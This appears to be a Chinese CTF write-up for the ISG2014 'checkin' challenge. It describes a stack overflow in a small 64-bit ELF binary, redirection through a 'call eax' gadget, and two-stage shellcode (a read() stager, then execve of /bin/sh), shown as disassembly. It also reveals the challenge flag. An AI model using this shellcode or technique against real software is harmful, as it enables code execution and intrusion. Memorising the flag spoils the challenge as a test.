almost 9 years ago

一樣是 64-bit ELF 的微小 binary,text:40073F 處的 fgets() 會造成溢出。
附帶一提,這次沒有 DEP 所以如果能跳到 shellcode 上就可以了。

char *__fastcall sub_40071D(char *a1, int a2) { /* a2 = 28 */
  char s; // [sp+12h] [bp-Eh]@1
  fgets(&s, a2, stdin);
  return strcpy(a1, &s);
}

溢出的長度有 14 bytes: 蓋在 rbp 上的 8 bytes,蓋在 return address 上的有 6 bytes。
如果要讓流程跳轉到 .text 段上,6 bytes 已經很足夠了,輸入時要送滿 28 bytes 使得結尾沒有換行字元。
要跳轉的目標則是 .text:40070D call eax,因為 strcpy 的回傳值恰好是第一個參數,
也就是輸入的字串會被複製到過去的 a1,只要在輸入字串中放入 shellcode 便成。

但這裡的 shellcode 只能放 22 bytes,太短了不好做事。
所以先放個 18 bytes 的 shellcode,read(0, rax, 0xffff) 把更長的 shellcode 讀上來接在下個會執行的位址。

  400080:       48 31 ff                xor    rdi,rdi
  400083:       48 89 fa                mov    rdx,rdi
  400086:       66 ba ff ff             mov    dx,0xffff
  40008a:       48 89 c6                mov    rsi,rax
  40008d:       48 31 c0                xor    rax,rax
  400090:       0f 05                   syscall

之後的 shellcode 要做的就是 execve("/bin/sh", {"/bin/sh", 0}, {0}) 開個 shell。
字串 "/bin/sh" 和 argv, envp 用 read 讀到可寫的 .got.plt:0x601018 段去,省得定位。

  400080:       b8 00 00 00 00          mov    eax,0x0
  400085:       bf 01 00 00 00          mov    edi,0x1
  40008a:       be 18 10 60 00          mov    esi,0x601018
  40008f:       ba 64 00 00 00          mov    edx,0x64
  400094:       0f 05                   syscall
  400096:       b8 3b 00 00 00          mov    eax,0x3b
  40009b:       bf 28 10 60 00          mov    edi,0x601028
  4000a0:       be 18 10 60 00          mov    esi,0x601018
  4000a5:       ba 20 10 60 00          mov    edx,0x601020
  4000aa:       0f 05                   syscall

ISG{the_shortest_shellcode_wins},其實也不用那麼 short

Exploit source code: isg2014 - checkin.py

← ISG2014 哼! ISG2014 RSA SYSTEM →